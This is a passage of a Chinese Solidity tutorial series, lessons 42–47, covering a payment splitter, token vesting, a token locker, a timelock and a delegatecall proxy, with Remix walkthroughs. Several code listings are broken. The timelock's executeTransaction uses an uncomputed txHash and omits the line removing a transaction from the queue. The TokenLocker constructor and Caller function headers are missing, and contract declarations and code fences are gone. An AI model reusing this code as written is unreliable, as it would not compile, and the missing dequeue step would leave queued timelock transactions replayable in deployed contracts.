`receive()`：回调函数，在分账合约收到`ETH`时释放`PaymentReceived`事件。
- `release()`：分账函数，为有效受益人地址`_account`分配相应的`ETH`。任何人都可以触发这个函数，但`ETH`会转给受益人地址`account`。调用了releasable()函数。
- `releasable()`：计算一个受益人地址应领取的`ETH`。调用了`pendingPayment()`函数。
- `pendingPayment()`：根据受益人地址`_account`, 分账合约总收入`_totalReceived`和该地址已领取的钱`_alreadyReleased`，计算该受益人现在应分的`ETH`。
- `_addPayee()`：新增受益人函数及其份额函数。在合约初始化的时候被调用，之后不能修改。

    /**
     * @dev 初始化受益人数组_payees和分账份额数组_shares
     * 数组长度不能为0，两个数组长度要相等。_shares中元素要大于0，_payees中地址不能为0地址且不能有重复地址
     */
    constructor(address[] memory _payees, uint256[] memory _shares) payable {
        // 检查_payees和_shares数组长度相同，且不为0
        require(_payees.length == _shares.length, "PaymentSplitter: payees and shares length mismatch");
        require(_payees.length > 0, "PaymentSplitter: no payees");
        // 调用_addPayee，更新受益人地址payees、受益人份额shares和总份额totalShares
        for (uint256 i = 0; i < _payees.length; i++) {
            _addPayee(_payees[i], _shares[i]);
        }
    }

    /**
     * @dev 回调函数，收到ETH释放PaymentReceived事件
     */
    receive() external payable virtual {
        emit PaymentReceived(msg.sender, msg.value);
    }

    /**
     * @dev

为有效受益人地址_account分帐，相应的ETH直接发送到受益人地址。任何人都可以触发这个函数，但钱会打给account地址。
     * 调用了releasable()函数。
     */
    function release(address payable _account) public virtual {
        // account必须是有效受益人
        require(shares[_account] > 0, "PaymentSplitter: account has no shares");
        // 计算account应得的eth
        uint256 payment = releasable(_account);
        // 应得的eth不能为0
        require(payment != 0, "PaymentSplitter: account is not due payment");
        // 更新总支付totalReleased和支付给每个受益人的金额released
        totalReleased += payment;
        released[_account] += payment;
        // 转账
        _account.transfer(payment);
        emit PaymentReleased(_account, payment);
    }

    /**
     * @dev 计算一个账户能够领取的eth。
     * 调用了pendingPayment()函数。
     */
    function releasable(address _account) public view returns (uint256) {
        // 计算分账合约总收入totalReceived
        uint256 totalReceived = address(this).balance + totalReleased;
        // 调用_pendingPayment计算account应得的ETH
        return pendingPayment(_account, totalReceived, released[_account]);
    }

    /**
     * @dev 根据受益人地址`_account`, 分账合约总收入`_totalReceived`和该地址已领取的钱`_alreadyReleased`，计算该受益人现在应分的`ETH`。
     */
    function pendingPayment(
        address _account,
        uint256 _totalReceived,
        uint256 _alreadyReleased
    ) public

view returns (uint256) {
        // account应得的ETH = 总应得ETH - 已领到的ETH
        return (_totalReceived * shares[_account]) / totalShares - _alreadyReleased;
    }

    /**
     * @dev 新增受益人_account以及对应的份额_accountShares。只能在构造器中被调用，不能修改。
     */
    function _addPayee(address _account, uint256 _accountShares) private {
        // 检查_account不为0地址
        require(_account != address(0), "PaymentSplitter: account is the zero address");
        // 检查_accountShares不为0
        require(_accountShares > 0, "PaymentSplitter: shares are 0");
        // 检查_account不重复
        require(shares[_account] == 0, "PaymentSplitter: account already has shares");
        // 更新payees，shares和totalShares
        payees.push(_account);
        shares[_account] = _accountShares;
        totalShares += _accountShares;
        // 释放增加受益人事件
        emit PayeeAdded(_account, _accountShares);
    }
```

### 1. 部署`PaymentSplit`分账合约，并转入`1 ETH`

在构造函数中，输入两个受益人地址，份额为`1`和`3`。

![部署](./img/42-2.png)

### 2. 查看受益人地址、份额、应分到的`ETH`

![查看第一位受益人](./img/42-3.png)

![查看第二位受益人](./img/42-4.png)

### 3. 函数领取`ETH`

![调用release](./img/42-5.png)

### 4. 查看总支出、受益人余额、应分到的`ETH`的变化

![查看](./img/42-6.png)

## 总结

这一讲，我们介绍了分账合约。在区块链的世界里，`Code is

---
title: 43. 线性释放
tags:
  - solidity
  - ERC20

---

# WTF Solidity极简入门: 43. 线性释放

-----

这一讲，我们将介绍代币归属条款，并写一个线性释放`ERC20`代币的合约。代码由`OpenZeppelin`的`VestingWallet`合约简化而来。

## 代币归属条款

![部署](./img/43-1.jpeg)

在传统金融领域，一些公司会向员工和管理层提供股权。但大量股权同时释放会在短期产生抛售压力，拖累股价。因此，公司通常会引入一个归属期来延迟承诺资产的所有权。同样的，在区块链领域，`Web3`初创公司会给团队分配代币，同时也会将代币低价出售给风投和私募。如果他们把这些低成本的代币同时提到交易所变现，币价将被砸穿，散户直接成为接盘侠。

所以，项目方一般会约定代币归属条款（token vesting），在归属期内逐步释放代币，减缓抛压，并防止团队和资本方过早躺平。

## 线性释放

线性释放指的是代币在归属期内匀速释放。举个例子，某私募持有365,000枚`ICU`代币，归属期为1年（365天），那么每天会释放1,000枚代币。

下面，我们就写一个锁仓并线性释放`ERC20`代币的合约`TokenVesting`。它的逻辑很简单：

-

项目方规定线性释放的起始时间、归属期和受益人。
- 项目方将锁仓的`ERC20`代币转账给`TokenVesting`合约。
- 受益人可以调用`release`函数，从合约中取出释放的代币。

### 事件
线性释放合约中共有`1`个事件。
- `ERC20Released`：提币事件，当受益人提取释放代币时释放。

contract TokenVesting {
    // 事件
    event ERC20Released(address indexed token, uint256 amount); // 提币事件
```

### 状态变量
线性释放合约中共有`4`个状态变量。
- `beneficiary`：受益人地址。
- `start`：归属期起始时间戳。
- `duration`：归属期，单位为秒。
- `erc20Released`：代币地址->释放数量的映射，记录受益人已领取的代币数量。

    // 状态变量
    mapping(address => uint256) public erc20Released; // 代币地址->释放数量的映射，记录已经释放的代币
    address public immutable beneficiary; // 受益人地址
    uint256 public immutable start; // 起始时间戳
    uint256 public immutable duration; // 归属期
```

### 函数
线性释放合约中共有`3`个函数。

- 构造函数：初始化受益人地址，归属期(秒), 起始时间戳。参数为受益人地址`beneficiaryAddress`和归属期`durationSeconds`。为了方便，起始时间戳用的部署时的区块链时间戳`block.timestamp`。
- `release()`：提取代币函数，将已释放的代币转账给受益人。调用了`vestedAmount()`函数计算可提取的代币数量，释放`ERC20Released`事件，然后将代币`transfer`给受益人。参数为代币地址`token`。
- `vestedAmount()`：根据线性释放公式，查询已经释放的代币数量。开发者可以通过修改这个函数，自定义释放方式。参数为代币地址`token`和查询的时间戳`timestamp`。

    /**
     * @dev 初始化受益人地址，释放周期(秒),

起始时间戳(当前区块链时间戳)
     */
    constructor(
        address beneficiaryAddress,
        uint256 durationSeconds
    ) {
        require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address");
        beneficiary = beneficiaryAddress;
        start = block.timestamp;
        duration = durationSeconds;
    }

    /**
     * @dev 受益人提取已释放的代币。
     * 调用vestedAmount()函数计算可提取的代币数量，然后transfer给受益人。
     * 释放 {ERC20Released} 事件.
     */
    function release(address token) public {
        // 调用vestedAmount()函数计算可提取的代币数量
        uint256 releasable = vestedAmount(token, uint256(block.timestamp)) - erc20Released[token];
        // 更新已释放代币数量   
        erc20Released[token] += releasable; 
        // 转代币给受益人
        emit ERC20Released(token, releasable);
        IERC20(token).transfer(beneficiary, releasable);
    }

    /**
     * @dev 根据线性释放公式，计算已经释放的数量。开发者可以通过修改这个函数，自定义释放方式。
     * @param token: 代币地址
     * @param timestamp: 查询的时间戳
     */
    function vestedAmount(address token, uint256 timestamp) public view returns (uint256) {
        // 合约里总共收到了多少代币（当前余额 + 已经提取）
        uint256 totalAllocation = IERC20(token).balanceOf(address(this)) + erc20Released[token];
        // 根据线性释放公式，计算已经释放的数量
        if (timestamp < start) {
            return 0;
        } else if (timestamp > start + duration) {
            return

totalAllocation;
        } else {
            return (totalAllocation * (timestamp - start)) / duration;
        }
    }
```

### 1. 部署[第31讲](../31_ERC20/readme.md)中的`ERC20`合约，并给自己铸造`10000`枚代币。

![部署ERC20](./img/43-2.png)

![铸造10000枚代币](./img/43-3.png)

### 2. 部署`TokenVesting`线性释放合约，受益人设为自己，归属期设为`100`秒。

![部署TokenVesting](./img/43-4.png)

### 3. 将`10000`枚`ERC20`代币转给线性释放合约。

![转移代币](./img/43-5.png)

### 4. 调用`release()`函数提取代币。

![提取代币](./img/43-6.png)

## 总结

代币短期大量解锁会对币价造成巨大压力，而约定代币归属条款可以缓解抛压，并防止团队和资本方过早躺平。这一讲，我们介绍了代币归属条款，并写了线性释放`ERC20`代币的合约。

---
title: 44. 代币锁
tags:
  - solidity
  - ERC20

---

# WTF Solidity极简入门: 44. 代币锁

-----

这一讲，我们介绍什么是流动性提供者`LP`代币，为什么要锁定流动性，并写一个简单的`ERC20`代币锁合约。

## 代币锁

![代币锁](./img/44-1.webp)

代币锁(Token Locker)是一种简单的时间锁合约，它可以把合约中的代币锁仓一段时间，受益人在锁仓期满后可以取走代币。代币锁一般是用来锁仓流动性提供者`LP`代币的。

### 什么是`LP`代币？

区块链中，用户在去中心化交易所`DEX`上交易代币，例如`Uniswap`交易所。`DEX`和中心化交易所(`CEX`)不同，去中心化交易所使用自动做市商(`AMM`)机制，需要用户或项目方提供资金池，以使得其他用户能够即时买卖。简单来说，用户/项目方需要质押相应的币对（比如`ETH/DAI`）到资金池中，作为补偿，`DEX`会给他们铸造相应的流动性提供者`LP`代币凭证，证明他们质押了相应的份额，供他们收取手续费。

###

为什么要锁定流动性？

如果项目方毫无征兆的撤出流动性池中的`LP`代币，那么投资者手中的代币就无法变现，直接归零了。这种行为也叫`rug-pull`，仅2021年，各种`rug-pull`骗局从投资者那里骗取了价值超过28亿美元的加密货币。

但是如果`LP`代币是锁仓在代币锁合约中，在锁仓期结束以前，项目方无法撤出流动性池，也没办法`rug pull`。因此代币锁可以防止项目方过早跑路（要小心锁仓期满跑路的情况）。

## 代币锁合约

下面，我们就写一个锁仓`ERC20`代币的合约`TokenLocker`。它的逻辑很简单：

- 开发者在部署合约时规定锁仓的时间，受益人地址，以及代币合约。
- 开发者将代币转入`TokenLocker`合约。
- 在锁仓期满，受益人可以取走合约里的代币。

### 事件

`TokenLocker`合约中共有`2`个事件。

- `TokenLockStart`：锁仓开始事件，在合约部署时释放，记录受益人地址，代币地址，锁仓起始时间，和结束时间。
- `Release`：代币释放事件，在受益人取出代币时释放，记录记录受益人地址，代币地址，释放代币时间，和代币数量。

    // 事件
    event TokenLockStart(address indexed beneficiary, address indexed token, uint256 startTime, uint256 lockTime);
    event Release(address indexed beneficiary, address indexed token, uint256 releaseTime, uint256 amount);
```

### 状态变量

`TokenLocker`合约中共有`4`个状态变量。

- `token`：锁仓代币地址。
- `locktime`：锁仓时间(秒)。
- `startTime`：锁仓起始时间戳(秒)。

    // 被锁仓的ERC20代币合约
    IERC20 public immutable token;
    // 受益人地址
    address public immutable beneficiary;
    // 锁仓时间(秒)
    uint256 public immutable lockTime;
    // 锁仓起始时间戳(秒)
    uint256 public immutable

startTime;
```
### 函数

`TokenLocker`合约中共有`2`个函数。

- 构造函数：初始化代币合约，受益人地址，以及锁仓时间。
- `release()`：在锁仓期满后，将代币释放给受益人。需要受益人主动调用`release()`函数提取代币。

    /**
     * @dev 部署时间锁合约，初始化代币合约地址，受益人地址和锁仓时间。
     * @param token_: 被锁仓的ERC20代币合约
     * @param beneficiary_: 受益人地址
     * @param lockTime_: 锁仓时间(秒)
     */
        IERC20 token_,
        address beneficiary_,
        uint256 lockTime_
    ) {
        require(lockTime_ > 0, "TokenLock: lock time should greater than 0");
        token = token_;
        beneficiary = beneficiary_;
        lockTime = lockTime_;
        startTime = block.timestamp;

        emit TokenLockStart(beneficiary_, address(token_), block.timestamp, lockTime_);
    }

    /**
     * @dev 在锁仓时间过后，将代币释放给受益人。
     */
    function release() public {
        require(block.timestamp >= startTime+lockTime, "TokenLock: current time is before release time");

        uint256 amount = token.balanceOf(address(this));
        require(amount > 0, "TokenLock: no tokens to release");

        token.transfer(beneficiary, amount);

        emit Release(msg.sender, address(token), block.timestamp, amount);
    }
```

### 1.

部署[第31讲](../31_ERC20/readme.md)中的`ERC20`合约，并给自己铸造`10000`枚代币。

![`Remix`演示](./img/44-2.jpg)

### 2. 部署`ToeknLocker`合约，代币地址为`ERC20`合约地址，受益人为自己，锁仓期填`180`秒。

![`Remix`演示](./img/44-3.jpg)

### 3. 将`10000`枚代币转入合约。

![`Remix`演示](./img/44-4.jpg)

### 4. 在锁仓期`180`秒内调用`release()`函数，无法取出代币。

![`Remix`演示](./img/44-5.jpg)

### 5. 在锁仓期后调用`release()`函数，成功取出代币。

![`Remix`演示](./img/44-6.jpg)

## 总结

这一讲，我们介绍了代币锁合约。项目方一般在`DEX`上提供流动性，供投资者交易。项目方突然撤出`LP`会造成`rug-pull`，而将`LP`锁在代币锁合约中可以避免这种情况。

---
title: 45. 时间锁
tags:
  - solidity

---

# WTF Solidity极简入门: 45. 时间锁

社区：[Discord](https://discord.wtf.academy)｜[微信群](https://wechat.wtf.academy)｜[官网 wtf.academy](https://wtf.academy)

-----

这一讲，我们介绍时间锁和时间锁合约。代码由Compound的[Timelock合约](https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol)简化而来。

## 时间锁

![时间锁](./img/45-1.jpeg)

时间锁（Timelock）是银行金库和其他高安全性容器中常见的锁定机制。它是一种计时器，旨在防止保险箱或保险库在预设时间之前被打开，即便开锁的人知道正确密码。

在区块链，时间锁被`DeFi`和`DAO`大量采用。它是一段代码，他可以将智能合约的某些功能锁定一段时间。它可以大大改善智能合约的安全性，举个例子，假如一个黑客黑了`Uniswap`的多签，准备提走金库的钱，但金库合约加了2天锁定期的时间锁，那么黑客从创建提钱的交易，到实际把钱提走，需要2天的等待期。在这一段时间，项目方可以找应对办法，投资者可以提前抛售代币减少损失。

## 时间锁合约

下面，我们介绍一下时间锁`Timelock`合约。它的逻辑并不复杂：

- 在创建`Timelock`合约时，项目方可以设定锁定期，并把合约的管理员设为自己。

- 时间锁主要有三个功能：
    - 创建交易，并加入到时间锁队列。
    - 在交易的锁定期满后，执行交易。
    - 后悔了，取消时间锁队列中的某些交易。

-

项目方一般会把时间锁合约设为重要合约的管理员，例如金库合约，再通过时间锁操作他们。
- 时间锁合约的管理员一般为项目的多签钱包，保证去中心化。

### 事件
`Timelock`合约中共有`4`个事件。
- `QueueTransaction`：交易创建并进入时间锁队列的事件。
- `ExecuteTransaction`：锁定期满后交易执行的事件。
- `CancelTransaction`：交易取消事件。
- `NewAdmin`：修改管理员地址的事件。

    // 事件
    // 交易取消事件
    event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature,  bytes data, uint executeTime);
    // 交易执行事件
    event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature,  bytes data, uint executeTime);
    // 交易创建并进入队列 事件
    event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime);
    // 修改管理员地址的事件
    event NewAdmin(address indexed newAdmin);
```

### 状态变量
`Timelock`合约中共有`4`个状态变量。

- `admin`：管理员地址。
- `delay`：锁定期。
- `GRACE_PERIOD`：交易过期时间。如果交易到了执行的时间点，但在`GRACE_PERIOD`没有被执行，就会过期。
- `queuedTransactions`：进入时间锁队列交易的标识符`txHash`到`bool`的映射，记录所有在时间锁队列中的交易。

    // 状态变量
    address public admin; // 管理员地址
    uint public constant GRACE_PERIOD = 7 days; // 交易有效期，过期的交易作废
    uint public delay; // 交易锁定时间 （秒）
   
   mapping (bytes32 => bool) public queuedTransactions; // txHash到bool，记录所有在时间锁队列中的交易
```

### 修饰器
`Timelock`合约中共有`2`个`modifier`。
- `onlyOwner()`：被修饰的函数只能被管理员执行。
- `onlyTimelock()`：被修饰的函数只能被时间锁合约执行。

    // onlyOwner modifier
    modifier onlyOwner() {
        require(msg.sender == admin, "Timelock: Caller not admin");
        _;
    }

    // onlyTimelock modifier
    modifier onlyTimelock() {
        require(msg.sender == address(this), "Timelock: Caller not Timelock");
        _;
    }
```

### 函数
`Timelock`合约中共有`7`个函数。

- 构造函数：初始化交易锁定时间（秒）和管理员地址。
- `queueTransaction()`：创建交易并添加到时间锁队列中。参数比较复杂，因为要描述一个完整的交易：
    - `target`：目标合约地址
    - `value`：发送ETH数额
    - `signature`：调用的函数签名（function signature）
    - `data`：交易的call data
    - `executeTime`：交易执行的区块链时间戳。
    
    调用这个函数时，要保证交易预计执行时间`executeTime`大于当前区块链时间戳+锁定时间`delay`。交易的唯一标识符为所有参数的哈希值，利用`getTxHash()`函数计算。进入队列的交易会更新在`queuedTransactions`变量中，并释放`QueueTransaction`事件。
- `executeTransaction()`：执行交易。它的参数与`queueTransaction()`相同。要求被执行的交易在时间锁队列中，达到交易的执行时间，且没有过期。执行交易时用到了`solidity`的低级成员函数`call`，在[第22讲](https://github.com/AmazingAng/WTFSolidity/blob/main/22_Call/readme.md)中有介绍。
-

`cancelTransaction()`：取消交易。它的参数与`queueTransaction()`相同。它要求被取消的交易在队列中，会更新`queuedTransactions`并释放`CancelTransaction`事件。
- `changeAdmin()`：修改管理员地址，只能被`Timelock`合约调用。
- `getBlockTimestamp()`：获取当前区块链时间戳。
- `getTxHash()`：返回交易的标识符，为很多交易参数的`hash`。

    /**
     * @dev 构造函数，初始化交易锁定时间 （秒）和管理员地址
     */
    constructor(uint delay_) {
        delay = delay_;
        admin = msg.sender;
    }

    /**
     * @dev 改变管理员地址，调用者必须是Timelock合约。
     */
    function changeAdmin(address newAdmin) public onlyTimelock {
        admin = newAdmin;

        emit NewAdmin(newAdmin);
    }

    /**
     * @dev 创建交易并添加到时间锁队列中。
     * @param target: 目标合约地址
     * @param value: 发送eth数额
     * @param signature: 要调用的函数签名（function signature）
     * @param data: call data，里面是一些参数
     * @param executeTime: 交易执行的区块链时间戳
     *
     * 要求：executeTime 大于 当前区块链时间戳+delay
     */
    function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner returns (bytes32) {
        // 检查：交易执行时间满足锁定时间
        require(executeTime >= getBlockTimestamp() + delay, "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
        // 计算交易的唯一识别符：一堆东西的hash
        bytes32 txHash =

getTxHash(target, value, signature, data, executeTime);
        // 将交易添加到队列
        queuedTransactions[txHash] = true;

        emit QueueTransaction(txHash, target, value, signature, data, executeTime);
        return txHash;
    }

    /**
     * @dev 取消特定交易。
     *
     * 要求：交易在时间锁队列中
     */
    function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner{
        bytes32 txHash = getTxHash(target, value, signature, data, executeTime);
        // 检查：交易在时间锁队列中
        require(queuedTransactions[txHash], "Timelock::cancelTransaction: Transaction hasn't been queued.");
        // 将交易移出队列
        queuedTransactions[txHash] = false;

        emit CancelTransaction(txHash, target, value, signature, data, executeTime);
    }

    /**
     * @dev 执行特定交易。
     *
     * 要求：
     * 1. 交易在时间锁队列中
     * 2. 达到交易的执行时间
     * 3. 交易没过期
     */
    function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public payable onlyOwner returns (bytes memory) {
        // 检查：交易是否在时间锁队列中
        require(queuedTransactions[txHash],

"Timelock::executeTransaction: Transaction hasn't been queued.");
        // 检查：达到交易的执行时间
        require(getBlockTimestamp() >= executeTime, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
        // 检查：交易没过期
       require(getBlockTimestamp() <= executeTime + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale.");
        // 将交易移出队列

        // 获取call data
        bytes memory callData;
        if (bytes(signature).length == 0) {
            callData = data;
        } else {
            callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
        }
        // 利用call执行交易
        (bool success, bytes memory returnData) = target.call{value: value}(callData);
        require(success, "Timelock::executeTransaction: Transaction execution reverted.");

        emit ExecuteTransaction(txHash, target, value, signature, data, executeTime);

        return returnData;
    }

    /**
     * @dev 获取当前区块链时间戳
     */
    function getBlockTimestamp() public view returns (uint) {
        return block.timestamp;
    }

    /**
     * @dev 将一堆东西拼成交易的标识符
     */
    function getTxHash(
        address target,
        uint value,
        string memory signature,
        bytes memory data,
        uint executeTime
    ) public pure returns (bytes32)

{
        return keccak256(abi.encode(target, value, signature, data, executeTime));
    }
```

### 1. 部署`Timelock`合约，锁定期设为`120`秒。

![`Remix`演示](./img/45-1.jpg)

### 2. 直接调用`changeAdmin()`将报错。

![`Remix`演示](./img/45-2.jpg)

### 3. 构造更改管理员的交易。
为了构造交易，我们要分别填入以下参数：
address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime
- `target`：因为调用的是`Timelock`自己的函数，填入合约地址。
- `value`：不用转入ETH，这里填`0`。
- `signature`：`changeAdmin()`的函数签名为：`"changeAdmin(address)"`。
- `data`：这里填要传入的参数，也就是新管理员的地址。但是要把地址填充为32字节的数据，以满足[以太坊ABI编码标准](https://github.com/AmazingAng/WTFSolidity/blob/main/27_ABIEncode/readme.md)。可以使用[hashex](https://abi.hashex.org/)网站进行参数的ABI编码。例子：
    编码前地址：0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
    编码后地址：0x000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2
    ```
- `executeTime`：先调用`getBlockTimestamp()`得到当前区块链时间，再在它的基础上加个150秒填入。
![`Remix`演示](./img/45-3.jpg)

### 4. 调用`queueTransaction`，将交易放入时间锁队列。

![`Remix`演示](./img/45-4.jpg)

### 5.

在锁定期内调用`executeTransaction`，调用失败。

![`Remix`演示](./img/45-5.jpg)

### 6. 在锁定期满调用`executeTransaction`，交易成功。

![`Remix`演示](./img/45-6.jpg)

### 7. 查看新的`admin`地址。

![`Remix`演示](./img/45-7.jpg)

## 总结

时间锁可以将智能合约的某些功能锁定一段时间，大大减少项目方`rug pull`和黑客攻击的机会，增加去中心化应用的安全性。它被`DeFi`和`DAO`大量采用，其中包括`Uniswap`和`Compound`。你投资的项目有使用时间锁吗？

---
title: 46. 代理合约
tags:
  - solidity
  - proxy

---

# WTF Solidity极简入门: 46. 代理合约

-----

这一讲，我们介绍代理合约（Proxy Contract）。教学代码由OpenZeppelin的[Proxy合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol)简化而来。

## 代理模式

`Solidity`合约部署在链上之后，代码是不可变的（immutable）。这样既有优点，也有缺点：

- 优点：安全，用户知道会发生什么（大部分时候）。
-

坏处：就算合约中存在bug，也不能修改或升级，只能部署新合约。但是新合约的地址与旧的不一样，且合约的数据也需要花费大量gas进行迁移。

有没有办法在合约部署后进行修改或升级呢？答案是有的，那就是**代理模式**。

![代理模式](./img/46-1.png)

代理模式将合约数据和逻辑分开，分别保存在不同合约中。我们拿上图中简单的代理合约为例，数据（状态变量）存储在代理合约中，而逻辑（函数）保存在另一个逻辑合约中。代理合约（Proxy）通过`delegatecall`，将函数调用全权委托给逻辑合约（Implementation）执行，再把最终的结果返回给调用者（Caller）。

代理模式主要有两个好处：
1. 可升级：当我们需要升级合约的逻辑时，只需要将代理合约指向新的逻辑合约。
2. 省gas：如果多个合约复用一套逻辑，我们只需部署一个逻辑合约，然后再部署多个只保存数据的代理合约，指向逻辑合约。

**提示**：对`delegatecall`不熟悉的朋友可以看下本教程[第23讲Delegatecall](https://github.com/AmazingAng/WTFSolidity/tree/main/23_Delegatecall)。

## 代理合约

下面我们介绍一个简单的代理合约，它由OpenZeppelin的[Proxy合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol)简化而来。它有三个部分：代理合约`Proxy`，逻辑合约`Logic`，和一个调用示例`Caller`。它的逻辑并不复杂：

- 首先部署逻辑合约`Logic`。
- 创建代理合约`Proxy`，状态变量`implementation`记录`Logic`合约地址。
- `Proxy`合约利用回调函数`fallback`，将所有调用委托给`Logic`合约
- 最后部署调用示例`Caller`合约，调用`Proxy`合约。
- **注意**：`Logic`合约和`Proxy`合约的状态变量存储结构相同，不然`delegatecall`会产生意想不到的行为，有安全隐患。

###

代理合约`Proxy`

`Proxy`合约不长，但是用到了内联汇编，因此比较难理解。它只有一个状态变量，一个构造函数，和一个回调函数。状态变量`implementation`，在构造函数中初始化，用于保存`Logic`合约地址。

contract Proxy {
    address public implementation; // 逻辑合约地址。implementation合约同一个位置的状态变量类型必须和Proxy合约的相同，不然会报错。

    /**
     * @dev 初始化逻辑合约地址
     */
    constructor(address implementation_){
        implementation = implementation_;
    }
```

`Proxy`的回调函数将外部对本合约的调用委托给 `Logic` 合约。这个回调函数很别致，它利用内联汇编（inline assembly），让本来不能有返回值的回调函数有了返回值。其中用到的内联汇编操作码：

- `calldatacopy(t, f, s)`：将calldata（输入数据）从位置`f`开始复制`s`字节到mem（内存）的位置`t`。
- `delegatecall(g, a, in, insize, out, outsize)`：调用地址`a`的合约，输入为`mem[in..(in+insize))` ，输出为`mem[out..(out+outsize))`， 提供`g`wei的以太坊gas。这个操作码在错误时返回`0`，在成功时返回`1`。
- `returndatacopy(t, f, s)`：将returndata（输出数据）从位置`f`开始复制`s`字节到mem（内存）的位置`t`。
- `switch`：基础版`if/else`，不同的情况`case`返回不同值。可以有一个默认的`default`情况。
- `return(p, s)`：终止函数执行, 返回数据`mem[p..(p+s))`。
- `revert(p, s)`：终止函数执行, 回滚状态，返回数据`mem[p..(p+s))`。

/**
* @dev 回调函数，将本合约的调用委托给 `implementation` 合约
* 通过assembly，让回调函数也能有返回值
*/
fallback() external payable {
    address _implementation =

implementation;
    assembly {
        // 将msg.data拷贝到内存里
        // calldatacopy操作码的参数: 内存起始位置，calldata起始位置，calldata长度
        calldatacopy(0, 0, calldatasize())

        // 利用delegatecall调用implementation合约
        // delegatecall操作码的参数：gas, 目标合约地址，input mem起始位置，input mem长度，output area mem起始位置，output area mem长度
        // output area起始位置和长度位置，所以设为0
        // delegatecall成功返回1，失败返回0
        let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

        // 将return data拷贝到内存
        // returndata操作码的参数：内存起始位置，returndata起始位置，returndata长度
        returndatacopy(0, 0, returndatasize())

        switch result
        // 如果delegate call失败，revert
        case 0 {
            revert(0, returndatasize())
        }
        // 如果delegate call成功，返回mem起始位置为0，长度为returndatasize()的数据（格式为bytes）
        default {
            return(0, returndatasize())
        }
    }
}
```

### 逻辑合约`Logic`

这是一个非常简单的逻辑合约，只是为了演示代理合约。它包含`2`个变量，`1`个事件，`1`个函数：
- `implementation`：占位变量，与`Proxy`合约保持一致，防止插槽冲突。
- `x`：`uint`变量，被设置为`99`。
- `CallSuccess`事件：在调用成功时释放。
- `increment()`函数：会被`Proxy`合约调用，释放`CallSuccess`事件，并返回一个`uint`，它的`selector`为`0xd09de08a`。如果直接调用`increment()`回返回`100`，但是通过`Proxy`调用它会返回`1`，大家可以想想为什么？

/**
 * @dev 逻辑合约，执行被委托的调用

*/
contract Logic {
    address public implementation; // 与Proxy保持一致，防止插槽冲突
    uint public x = 99; 
    event CallSuccess(); // 调用成功事件

    // 这个函数会释放CallSuccess事件并返回一个uint。
    // 函数selector: 0xd09de08a
    function increment() external returns(uint) {
        emit CallSuccess();
        return x + 1;
    }
}
```

### 调用者合约`Caller`

`Caller`合约会演示如何调用一个代理合约，它也非常简单。但是要理解它，你需要先学习本教程的[第22讲 Call](https://github.com/AmazingAng/WTFSolidity/tree/main/22_Call/readme.md)和[第27讲 ABI编码](https://github.com/AmazingAng/WTFSolidity/tree/main/27_ABIEncode/readme.md)。

它有`1`个变量，`2`个函数：
- `proxy`：状态变量，记录代理合约地址。
- 构造函数：在部署合约时初始化`proxy`变量。
- `increase()`：利用`call`来调用代理合约的`increment()`函数，并返回一个`uint`。在调用时，我们利用`abi.encodeWithSignature()`获取了`increment()`函数的`selector`。在返回时，利用`abi.decode()`将返回值解码为`uint`类型。

/**
 * @dev Caller合约，调用代理合约，并获取执行结果
 */
contract Caller{
    address public proxy; // 代理合约地址

    constructor(address proxy_){
        proxy = proxy_;
    }

    // 通过代理合约调用increment()函数
        ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()"));
        return abi.decode(data,(uint));
   
   }
}
```

1. 部署`Logic`合约。

![](./img/46-2.jpg)

2. 调用`Logic`合约的`increment()`函数，返回`100`。

![](./img/46-3.jpg)

3. 部署`Proxy`合约，初始化时填入`Logic`合约地址。

![](./img/46-4.jpg)

4. 调用`Proxy`合约`increment()`函数，无返回值。
    
    调用方法：在`Remix`部署面板中点`Proxy`合约，在最下面的`Low level interaction`中填入`increment()`函数的选择器`0xd09de08a`，并点击`Transact`。
    
![](./img/46-5.jpg)

5. 部署`Caller`合约，初始化时填入`Proxy`合约地址。

![](./img/46-6.jpg)

6. 调用`Caller`合约`increment()`函数，返回`1`。

![](./img/46-7.jpg)

## 总结

这一讲，我们介绍了代理模式和简单的代理合约。代理合约利用`delegatecall`将函数调用委托给了另一个逻辑合约，使得数据和逻辑分别由不同合约负责。并且，它利用内联汇编黑魔法，让没有返回值的回调函数也可以返回数据。前面留给大家的问题是：为什么通过Proxy调用`increment()`会返回1呢？按照我们在[第23讲Delegatecall](https://github.com/AmazingAng/WTF-Solidity/tree/main/23_Delegatecall)中所说的，当Caller合约通过Proxy合约来`delegatecall`

Logic合约的时候，如果Logic合约函数改变或读取一些状态变量的时候都会在Proxy的对应变量上操作，而这里Proxy合约的`x`变量的值是0（因为从来没有设置过`x`这个变量，即Proxy合约的storage区域所对应位置值为0），所以通过Proxy调用`increment()`会返回1。

下一讲，我们会介绍可升级代理合约。

代理合约虽然很强大，但是它非常容易出`bug`，用的时候最好直接复制[OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy)的模版合约。

---
title: 47. 可升级合约
tags:
  - solidity
  - proxy

---

# WTF Solidity极简入门: 47. 可升级合约

-----

这一讲，我们将介绍可升级合约（Upgradeable Contract）。教学用的合约由`OpenZeppelin`中的合约简化而来，可能有安全问题，不要用于生产环境。

## 可升级合约

如果你理解了代理合约，就很容易理解可升级合约。它就是一个可以更改逻辑合约的代理合约。

![可升级模式](./img/47-1.png)

## 简单实现

